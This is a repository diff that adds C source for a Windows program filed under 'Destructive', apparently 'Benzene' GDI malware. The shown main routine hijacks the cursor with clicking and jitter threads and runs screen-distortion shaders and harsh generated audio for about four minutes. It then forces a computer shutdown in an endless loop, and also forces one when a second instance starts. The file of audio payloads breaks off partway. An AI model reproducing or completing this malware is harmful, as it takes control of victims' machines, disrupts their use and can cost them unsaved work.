+ CloseHandle(CreateThread(NULL, 0, (PTHREAD_START_ROUTINE)CursorClicker, NULL, 0, NULL));
72
+ CloseHandle(CreateThread(NULL, 0, (PTHREAD_START_ROUTINE)CursorMess, NULL, 0, NULL));
73
+
74
+ hCursorDraw = CreateThread(NULL, 0, (PTHREAD_START_ROUTINE)CursorDraw, NULL, 0, NULL);
75
+
76
+ CreateMutexW(NULL, TRUE, L"Benzene.exe");
77
+
78
+ if (GetLastError() == ERROR_ALREADY_EXISTS)
79
+ {
80
+ ForceShutdownComputer();
81
+ return 0;
82
+ }
83
+
84
+ pAudioSequences[0] = (AUDIO_SEQUENCE_PARAMS){ 48000, 48000 * 30, AudioSequence1, NULL, NULL };
85
+ pAudioSequences[1] = (AUDIO_SEQUENCE_PARAMS){ 8000, 8000 * 30, AudioSequence2, NULL, NULL };
86
+ pAudioSequences[2] = (AUDIO_SEQUENCE_PARAMS){ 8000, 8000 * 30, AudioSequence3, NULL, NULL };
87
+ pAudioSequences[3] = (AUDIO_SEQUENCE_PARAMS){ 16000, 16000 * 30, AudioSequence4, NULL, NULL };
88
+ pAudioSequences[4] = (AUDIO_SEQUENCE_PARAMS){ 8000, 8000 * 30, AudioSequence5, NULL, NULL };
89
+ pAudioSequences[5] = (AUDIO_SEQUENCE_PARAMS){ 8000, 8000 * 30, AudioSequence6, NULL, NULL };
90
+ pAudioSequences[6] = (AUDIO_SEQUENCE_PARAMS){ 12000, 12000 * 30, AudioSequence7, NULL, NULL };
91
+ pAudioSequences[7] = (AUDIO_SEQUENCE_PARAMS){ 48000, 48000 * 30, AudioSequence8, NULL, NULL };
92
+ pAudioSequences[8] = (AUDIO_SEQUENCE_PARAMS){ 48000, 48000 * 30, AudioSequence9, NULL, NULL };
93
+ pAudioSequences[9] = (AUDIO_SEQUENCE_PARAMS){ 8000, 8000 * 30, AudioSequence10, NULL, NULL };
94
+ pAudioSequences[10] = (AUDIO_SEQUENCE_PARAMS){ 8000, 8000 * 30, AudioSequence11, NULL, NULL };
95
+ pAudioSequences[11] = (AUDIO_SEQUENCE_PARAMS){ 8000, 8000 * 30, AudioSequence12, NULL, NULL };
96
+ pAudioSequences[12] = (AUDIO_SEQUENCE_PARAMS){ 16000, 16000 * 30, AudioSequence13, NULL, NULL };
97
+ pAudioSequences[13] = (AUDIO_SEQUENCE_PARAMS){ 48000, 48000 * 30, AudioSequence14, NULL, NULL };
98
+ pAudioSequences[14] = (AUDIO_SEQUENCE_PARAMS){ 48000, 48000 * 30, AudioSequence15, NULL, NULL };
99
+ pAudioSequences[15] = (AUDIO_SEQUENCE_PARAMS){ 48000, 48000 * 30, AudioSequence16, NULL, NULL };
100
+ pAudioSequences[16] = (AUDIO_SEQUENCE_PARAMS){ 48000, 48000 * 30, AudioSequence17, NULL, NULL };
101
+ pAudioSequences[17] = (AUDIO_SEQUENCE_PARAMS){ 48000, 48000 * 30, AudioSequence18, NULL, NULL };
102
+ pAudioSequences[24] = (AUDIO_SEQUENCE_PARAMS){ 48000, 48000 * 30, FinalAudioSequence, NULL, NULL };
103
+
104
+
105
+ pGdiShaders[0] = (GDI_SHADER_PARAMS){ GdiShader1, NULL, PostGdiShader1 };
106
+ pGdiShaders[1] = (GDI_SHADER_PARAMS){ GdiShader2, NULL, PostGdiShader2 };
107
+ pGdiShaders[2] = (GDI_SHADER_PARAMS){ GdiShader3, NULL, PostGdiShader3 };
108
+ pGdiShaders[3] = (GDI_SHADER_PARAMS){ GdiShader4, NULL, PostGdiShader2 };
109
+ pGdiShaders[4] = (GDI_SHADER_PARAMS){ GdiShader5, NULL, PostGdiShader4 };
110
+ pGdiShaders[5] = (GDI_SHADER_PARAMS){ GdiShader6, NULL, PostGdiShader2 };
111
+ pGdiShaders[6] = (GDI_SHADER_PARAMS){ GdiShader7, NULL, PostGdiShader5 };
112
+ pGdiShaders[7] = (GDI_SHADER_PARAMS){ GdiShader8, PreGdiShader1, PostGdiShader6 };
113
+ pGdiShaders[8] = (GDI_SHADER_PARAMS){ GdiShader9, NULL, NULL };
114
+ pGdiShaders[9] = (GDI_SHADER_PARAMS){ GdiShader10, NULL, NULL };
115
+ pGdiShaders[10] = (GDI_SHADER_PARAMS){ GdiShader11, NULL, NULL };
116
+ pGdiShaders[11] = (GDI_SHADER_PARAMS){ GdiShader12, NULL, NULL };
117
+ pGdiShaders[12] = (GDI_SHADER_PARAMS){ GdiShader13, NULL, NULL };
118
+ pGdiShaders[13] = (GDI_SHADER_PARAMS){ GdiShader14, NULL, PostGdiShader2 };
119
+ pGdiShaders[14] = (GDI_SHADER_PARAMS){ GdiShader15, NULL, NULL };
120
+ pGdiShaders[15] = (GDI_SHADER_PARAMS){ GdiShader16, NULL, NULL };
121
+ pGdiShaders[16] = (GDI_SHADER_PARAMS){ GdiShader17, NULL, NULL };
122
+ pGdiShaders[17] = (GDI_SHADER_PARAMS){ GdiShader18, NULL, NULL };
123
+ pGdiShaders[18] = (GDI_SHADER_PARAMS){ GdiShader19, NULL, NULL };
124
+ pGdiShaders[19] = (GDI_SHADER_PARAMS){ GdiShader20, NULL, PostGdiShader2 };
125
+ pGdiShaders[20] = (GDI_SHADER_PARAMS){ GdiShader21, NULL, PostGdiShader2 };
126
+ pGdiShaders[21] = (GDI_SHADER_PARAMS){ GdiShader22, NULL, PostGdiShader3 };
127
+ pGdiShaders[22] = (GDI_SHADER_PARAMS){ GdiShader23 , NULL, NULL };
128
+ pGdiShaders[23] = (GDI_SHADER_PARAMS){ GdiShader24 , NULL, NULL };
129
+ pGdiShaders[24] = (GDI_SHADER_PARAMS){ FinalGdiShader, NULL, NULL };
130
+
131
+ hAudioThread = CreateThread(NULL, 0, (PTHREAD_START_ROUTINE)AudioPayloadThread, NULL, 0, NULL);
132
+
133
+ for (;; )
134
+ {
135
+ hGdiThread = CreateThread(NULL, 0, (PTHREAD_START_ROUTINE)GdiShaderThread, &pGdiShaders[Xorshift32() % 24], 0, NULL);
136
+ WaitForSingleObject(hGdiThread, (Xorshift32() % 3) ? PAYLOAD_MS : ((Xorshift32() % 5) * (PAYLOAD_MS / 4)));
137
+ CloseHandle(hGdiThread);
138
+
139
+ if (nCounter >= ((240 * 1000) / TIMER_DELAY))
140
+ {
141
+ break;
142
+ }
143
+ }
144
+
145
+ TerminateThread(hAudioThread, 0);
146
+ CloseHandle(hAudioThread);
147
+
148
+ TerminateThread(hCursorDraw, 0);
149
+ CloseHandle(hCursorDraw);
150
+
151
+ CloseHandle(CreateThread(NULL, 0, (PTHREAD_START_ROUTINE)GdiShaderThread, &pGdiShaders[24], 0, NULL));
152
+ CloseHandle(CreateThread(NULL, 0, (PTHREAD_START_ROUTINE)AudioSequenceThread, &pAudioSequences[24], 0, NULL));
153
+
154
+ for (;; )
155
+ {
156
+ ForceShutdownComputer();
157
+ ExitProcess(0);
158
+ }
159
+ }
src/Benzene-main/Destructive/Benzene/math.c ADDED
@@ -0,0 +1,59 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ #include "benzene.h"
2
+
3
+ DWORD xs;
4
+ static FLOAT pfSinVals[ 4096 ];
5
+
6
+ VOID
7
+ SeedXorshift32(
8
+ _In_ DWORD dwSeed
9
+ )
10
+ {
11
+ xs = dwSeed;
12
+ }
13
+
14
+ DWORD
15
+ Xorshift32( VOID )
16
+ {
17
+ xs ^= xs << 13;
18
+ xs ^= xs >> 17;
19
+ xs ^= xs << 5;
20
+ return xs;
21
+ }
22
+
23
+ VOID
24
+ Reflect2D(
25
+ _Inout_ PINT x,
26
+ _Inout_ PINT y,
27
+ _In_ INT w,
28
+ _In_ INT h
29
+ )
30
+ {
31
+ #define FUNCTION(v, maxv) ( abs( v ) / ( maxv ) % 2 ? ( maxv ) - abs( v ) % ( maxv ) : abs( v ) % ( maxv ) );
32
+ *x = FUNCTION( *x, w - 1 );
33
+ *y = FUNCTION( *y, h - 1 );
34
+ #undef FUNCTION
35
+ }
36
+
37
+ FLOAT
38
+ FastSine(
39
+ _In_ FLOAT f
40
+ )
41
+ {
42
+ INT i = ( INT )( f / ( 2.f * PI ) * ( FLOAT )_countof( pfSinVals ) );
43
+ return pfSinVals[ i % _countof( pfSinVals ) ];
44
+ }
45
+
46
+ FLOAT
47
+ FastCosine(
48
+ _In_ FLOAT f
49
+ )
50
+ {
51
+ return FastSine( f + PI / 2.f );
52
+ }
53
+
54
+ VOID
55
+ InitializeSine( VOID )
56
+ {
57
+ for ( INT i = 0; i < _countof( pfSinVals ); i++ )
58
+ pfSinVals[ i ] = sinf( ( FLOAT )i / ( FLOAT )_countof( pfSinVals ) * PI * 2.f );
59
+ }
src/Benzene-main/Destructive/Benzene/math.h ADDED
@@ -0,0 +1,33 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ #pragma once
2
+ #include "benzene.h"
3
+
4
+ #define PI 3.141592f
5
+
6
+ VOID
7
+ SeedXorshift32(
8
+ _In_ DWORD dwSeed
9
+ );
10
+
11
+ DWORD
12
+ Xorshift32( VOID );
13
+
14
+ VOID
15
+ Reflect2D(
16
+ _Inout_ PINT x,
17
+ _Inout_ PINT y,
18
+ _In_ INT w,
19
+ _In_ INT h
20
+ );
21
+
22
+ VOID
23
+ InitializeSine( VOID );
24
+
25
+ FLOAT
26
+ FastSine(
27
+ _In_ FLOAT f
28
+ );
29
+
30
+ FLOAT
31
+ FastCosine(
32
+ _In_ FLOAT f
33
+ );
src/Benzene-main/Destructive/Benzene/payloads.c ADDED
@@ -0,0 +1,1918 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ #include "benzene.h"
2
+
3
+ VOID
4
+ WINAPI
5
+ AudioPayloadThread(VOID)
6
+ {
7
+ for (;; )
8
+ {
9
+ INT piOrder[SYNTH_LENGTH];
10
+ INT nRandIndex;
11
+ INT nNumber;
12
+
13
+ for (INT i = 0; i < SYNTH_LENGTH; i++)
14
+ {
15
+ piOrder[i] = i;
16
+ }
17
+
18
+ for (INT i = 0; i < SYNTH_LENGTH; i++)
19
+ {
20
+ nRandIndex = Xorshift32() % 18;
21
+ nNumber = piOrder[nRandIndex];
22
+ piOrder[nRandIndex] = piOrder[i];
23
+ piOrder[i] = nNumber;
24
+ }
25
+
26
+ for (INT i = 0; i < SYNTH_LENGTH; i++)
27
+ {
28
+ ExecuteAudioSequence(
29
+ pAudioSequences[i].nSamplesPerSec,
30
+ pAudioSequences[i].nSampleCount,
31
+ pAudioSequences[i].pAudioSequence,
32
+ pAudioSequences[i].pPreAudioOp,
33
+ pAudioSequences[i].pPostAudioOp);
34
+ }
35
+ }
36
+ }
37
+
38
+ VOID
39
+ WINAPI
40
+ AudioSequenceThread(
41
+ _In_ PAUDIO_SEQUENCE_PARAMS pAudioParams
42
+ )
43
+ {
44
+ ExecuteAudioSequence(
45
+ pAudioParams->nSamplesPerSec,
46
+ pAudioParams->nSampleCount,
47
+ pAudioParams->pAudioSequence,
48
+ pAudioParams->pPreAudioOp,
49
+ pAudioParams->pPostAudioOp);
50
+ }
51
+
52
+ VOID
53
+ WINAPI
54
+ ExecuteAudioSequence(
55
+ _In_ INT nSamplesPerSec,
56
+ _In_ INT nSampleCount,
57
+ _In_ AUDIO_SEQUENCE pAudioSequence,
58
+ _In_opt_ AUDIOSEQUENCE_OPERATION pPreAudioOp,
59
+ _In_opt_ AUDIOSEQUENCE_OPERATION pPostAudioOp
60
+ )
61
+ {
62
+ HANDLE hHeap = GetProcessHeap();
63
+ PSHORT psSamples = HeapAlloc(hHeap, 0, nSampleCount * 2);
64
+ WAVEFORMATEX waveFormat = { WAVE_FORMAT_PCM, 1, nSamplesPerSec, nSamplesPerSec * 2, 2, 16, 0 };
65
+ WAVEHDR waveHdr = { (PCHAR)psSamples, nSampleCount * 2, 0, 0, 0, 0, NULL, 0 };
66
+ HWAVEOUT hWaveOut;
67
+ waveOutOpen(&hWaveOut, WAVE_MAPPER, &waveFormat, 0, 0, 0);
68
+
69
+ if (pPreAudioOp)
70
+ {
71
+ pPreAudioOp(nSamplesPerSec);
72
+ }
73
+
74
+ pAudioSequence(nSamplesPerSec, nSampleCount, psSamples);
75
+
76
+ if (pPostAudioOp)
77
+ {
78
+ pPostAudioOp(nSamplesPerSec);
79
+ }
80
+
81
+ waveOutPrepareHeader(hWaveOut, &waveHdr, sizeof(waveHdr));
82
+ waveOutWrite(hWaveOut, &waveHdr, sizeof(waveHdr));
83
+
84
+ Sleep(nSampleCount * 1000 / nSamplesPerSec);
85
+
86
+ while (!(waveHdr.dwFlags & WHDR_DONE))
87
+ {
88
+ Sleep(1);
89
+ }
90
+
91
+ waveOutReset(hWaveOut);
92
+ waveOutUnprepareHeader(hWaveOut, &waveHdr, sizeof(waveHdr));
93
+ HeapFree(hHeap, 0, psSamples);
94
+ }
95
+
96
+ VOID
97
+ WINAPI
98
+ AudioSequence1(
99
+ _In_ INT nSamplesPerSec,
100
+ _In_ INT nSampleCount,
101
+ _Inout_ PSHORT psSamples
102
+ )
103
+ {
104
+ for (INT t = 0; t < nSampleCount; t++)
105
+ {
106
+ INT nFreq = (INT)(FastSine((FLOAT)t / 10.f) * 10.f + 29.f);
107
+ FLOAT fSine = FastSine((FLOAT)t / 10.f) * (FLOAT)nSamplesPerSec;
108
+ psSamples[t] = (SHORT)(TriangleWave(t, nFreq, (FLOAT)nSamplesPerSec * 5.f + fSine) * (FLOAT)SHRT_MAX * .1f) +
109
+ (SHORT)(SquareWave(t, nFreq, nSampleCount) * (FLOAT)SHRT_MAX * .2f);
110
+ }
111
+ }
112
+
113
+ VOID
114
+ WINAPI
115
+ AudioSequence2(
116
+ _In_ INT nSamplesPerSec,
117
+ _In_ INT nSampleCount,
118
+ _Inout_ PSHORT psSamples
119
+ )
120
+ {
121
+ UNREFERENCED_PARAMETER(nSamplesPerSec);
122
+
123
+ for (INT t = 0; t < nSampleCount * 2; t++)
124
+ {
125
+ BYTE bFreq = (BYTE)( t % 2 | t % 2) + (t & t >> 2) + (t * 42 & t >> 10) + ((t % ((t >> 8 | 50) + 1 | t >>0)));
126
+ ((BYTE*)psSamples)[t] = bFreq;
127
+ }
128
+ }
129
+
130
+ VOID
131
+ WINAPI
132
+ AudioSequence3(
133
+ _In_ INT nSamplesPerSec,
134
+ _In_ INT nSampleCount,
135
+ _Inout_ PSHORT psSamples
136
+ )
137
+ {
138
+ UNREFERENCED_PARAMETER(nSamplesPerSec);
139
+
140
+ INT nCubeRoot = (INT)cbrtf((FLOAT)nSampleCount) + 1;
141
+ for (INT z = 0; z < nCubeRoot; z++)
142
+ {
143
+ for (INT y = 0; y < nCubeRoot; y++)
144
+ {
145
+ for (INT x = 0; x < nCubeRoot; x++)
146
+ {
147
+ INT nIndex = z * nCubeRoot * nCubeRoot + y * nCubeRoot + x;
148
+ if (nIndex >= nSampleCount)
149
+ continue;
150
+
151
+ INT nFreq = (INT)((FLOAT)(y & z & x) * FastSine((FLOAT)(z * y * x) / 200.f));
152
+ psSamples[nIndex] =
153
+ (SHORT)(SquareWave(y + z * x, (nFreq % 300) + 100, nSamplesPerSec) * (FLOAT)SHRT_MAX * .5f) +
154
+ (SHORT)(SawtoothWave(x | z, (150 - (nFreq % 20) / 4) + 800, nSamplesPerSec) * (FLOAT)SHRT_MAX * .5f) +
155
+ (SHORT)(TriangleWave((FLOAT)(x & y & z) + (SquareWave(x + y, nFreq % 50, nSamplesPerSec) * nSamplesPerSec),
156
+ (nFreq % 50) / 10 + 500, nSamplesPerSec) * (FLOAT)SHRT_MAX * .5f);
157
+ }
158
+ }
159
+ }
160
+ }
161
+
162
+ VOID
163
+ WINAPI
164
+ AudioSequence4(
165
+ _In_ INT nSamplesPerSec,
166
+ _In_ INT nSampleCount,
167
+ _Inout_ PSHORT psSamples
168
+ )
169
+ {
170
+ UNREFERENCED_PARAMETER(nSamplesPerSec);
171
+
172
+ for (INT t = 0; t < nSampleCount; t++)
173
+ {
174
+ INT nFreq = (INT)(FastSine((FLOAT)t / (2.f - t / (nSampleCount / 340))) * 10.f + 50.f);
175
+ psSamples[t] = (SHORT)(SquareWave(t, nFreq, nSampleCount) * (FLOAT)SHRT_MAX * .1f);
176
+ }
177
+ }
178
+
179
+ VOID
180
+ WINAPI
181
+ AudioSequence5(
182
+ _In_ INT nSamplesPerSec,
183
+ _In_ INT nSampleCount,
184
+ _Inout_ PSHORT psSamples
185
+ )
186
+ {
187
+ UNREFERENCED_PARAMETER(nSamplesPerSec);
188
+
189
+ for (INT t = 0; t < nSampleCount; t++)
190
+ {
191
+ SHORT sFreq = (SHORT)(t * (t >> (t >> 1 & t)));
192
+ psSamples[t] = sFreq;
193
+ }
194
+ }
195
+
196
+ VOID
197
+ WINAPI
198
+ AudioSequence6(
199
+ _In_ INT nSamplesPerSec,
200
+ _In_ INT nSampleCount,
201
+ _Inout_ PSHORT psSamples
202
+ )
203
+ {
204
+ UNREFERENCED_PARAMETER(nSamplesPerSec);
205
+
206
+ for (INT t = 0; t < nSampleCount * 2; t++)
207
+ {
208
+ BYTE bFreq = (BYTE)((t & ((t >> 18) + ((t >> 11) & 60))) * 100 + (((t >> 8 & t) - (t >> 3 & t >> 8 | t >> 16)) & 128));
209
+ ((BYTE*)psSamples)[t] = bFreq;
210
+ }
211
+ }
212
+
213
+ VOID
214
+ WINAPI
215
+ AudioSequence7(
216
+ _In_ INT nSamplesPerSec,
217
+ _In_ INT nSampleCount,
218
+ _Inout_ PSHORT psSamples
219
+ )
220
+ {
221
+ UNREFERENCED_PARAMETER(nSamplesPerSec);
222
+
223
+ for (INT t = 0; t < nSampleCount * 2; t++)
224
+ {
225
+ BYTE bFreq = (BYTE)(t & 5 * t | t >> 6 | (t & 32768 - 6 * t / 7 | (t & 65536 - 9 * t & 100 | -9 * (t & 100)) / 11));
226
+ ((BYTE*)psSamples)[t] = bFreq;
227
+ }
228
+ }
229
+
230
+ VOID
231
+ WINAPI
232
+ AudioSequence8(
233
+ _In_ INT nSamplesPerSec,
234
+ _In_ INT nSampleCount,
235
+ _Inout_ PSHORT psSamples
236
+ )
237
+ {
238
+ UNREFERENCED_PARAMETER(nSamplesPerSec);
239
+
240
+ SHORT sRand = (SHORT)Xorshift32();
241
+ for (INT t = 0; t < nSampleCount; t++)
242
+ {
243
+ INT nRand = (nSampleCount - t * 2) / 52;
244
+ if (nRand < 24)
245
+ nRand = 24;
246
+ if (!(Xorshift32() % nRand))
247
+ {
248
+ sRand = (SHORT)Xorshift32();
249
+ }
250
+ psSamples[t] = (SHORT)(SawtoothWave(t, sRand, nSampleCount) * (FLOAT)SHRT_MAX * .1f)
251
+ & ~sRand | ((SHORT)Xorshift32() >> 2) +
252
+ (SHORT)(SineWave(Xorshift32() % nSampleCount, nRand ^ sRand, nSampleCount) * (FLOAT)SHRT_MAX * .1f) +
253
+ (SHORT)(TriangleWave(t, 20, nSampleCount) * (FLOAT)SHRT_MAX);
254
+ }
255
+ }
256
+
257
+ VOID
258
+ WINAPI
259
+ AudioSequence9(
260
+ _In_ INT nSamplesPerSec,
261
+ _In_ INT nSampleCount,
262
+ _Inout_ PSHORT psSamples
263
+ )
264
+ {
265
+ UNREFERENCED_PARAMETER(nSamplesPerSec);
266
+
267
+ INT nSquareRoot = (INT)sqrtf((FLOAT)nSampleCount) + 1;
268
+ for (INT y = 0; y < nSquareRoot; y++)
269
+ {
270
+ for (INT x = 0; x < nSquareRoot; x++)
271
+ {
272
+ INT nIndex = y * nSquareRoot + x;
273
+ if (nIndex >= nSampleCount)
274
+ continue;
275
+
276
+ INT nFreq = (INT)((FLOAT)(y | x) * FastSine((FLOAT)(y * x) / 10.f));
277
+ psSamples[nIndex] =
278
+ (SHORT)(SquareWave(10 & x, (nFreq % 30) + 42, nSamplesPerSec) * (FLOAT)SHRT_MAX * .3f);
279
+ }
280
+ }
281
+ }
282
+
283
+ VOID
284
+ WINAPI
285
+ AudioSequence10(
286
+ _In_ INT nSamplesPerSec,
287
+ _In_ INT nSampleCount,
288
+ _Inout_ PSHORT psSamples
289
+ )
290
+ {
291
+ UNREFERENCED_PARAMETER(nSamplesPerSec);
292
+
293
+ for (INT t = 0; t < nSampleCount * 2; t++)
294
+ {
295
+ FLOAT w = powf(1.f, (FLOAT)(t >> 1 & t >> 20));
296
+ BYTE bFreq = (BYTE)((t << ((t >> 1 | t >> 1) ^ (t >> 13)) | (t >> 8 & t >> 1) * t >> 4) + ((t * (t >> 7 | t >> 10)) >> (t >> 18 & t)) + (t * t) / ((t ^ t >> 12) + 1) + ((1 / ((BYTE)w + 1) & t) > 1 ? (BYTE)w * t : -(BYTE)w * (t + 1)));
297
+ ((BYTE*)psSamples)[t] = bFreq;
298
+ }
299
+ }
300
+
301
+ VOID
302
+ WINAPI
303
+ AudioSequence11(
304
+ _In_ INT nSamplesPerSec,
305
+ _In_ INT nSampleCount,
306
+ _Inout_ PSHORT psSamples
307
+ )
308
+ {
309
+ UNREFERENCED_PARAMETER(nSamplesPerSec);
310
+
311
+ for (INT t = 0; t < nSampleCount * 2; t++)
312
+ {
313
+ BYTE bFreq = (BYTE)((t * ((t >> 28 & t >> 13) >> (t >> 10 & t))) + ((t * (t >> 4 & t >> 3)) >> (t >> 20 & t)));
314
+ ((BYTE*)psSamples)[t] = bFreq;
315
+ }
316
+ }
317
+
318
+ VOID
319
+ WINAPI
320
+ AudioSequence12(
321
+ _In_ INT nSamplesPerSec,
322
+ _In_ INT nSampleCount,
323
+ _Inout_ PSHORT psSamples
324
+ )
325
+ {
326
+ UNREFERENCED_PARAMETER(nSamplesPerSec);
327
+
328
+ for (INT t = 0; t < nSampleCount; t++)
329
+ {
330
+ psSamples[t] = (SHORT)(TriangleWave(__rdtsc() % 8, 1500, nSampleCount) * (FLOAT)SHRT_MAX * .3f) |
331
+ (SHORT)(SquareWave(__rdtsc() % 8, 1000, nSampleCount) * (FLOAT)SHRT_MAX * .3f) + (SHORT)~t + ((SHORT)t >> 2);
332
+ }
333
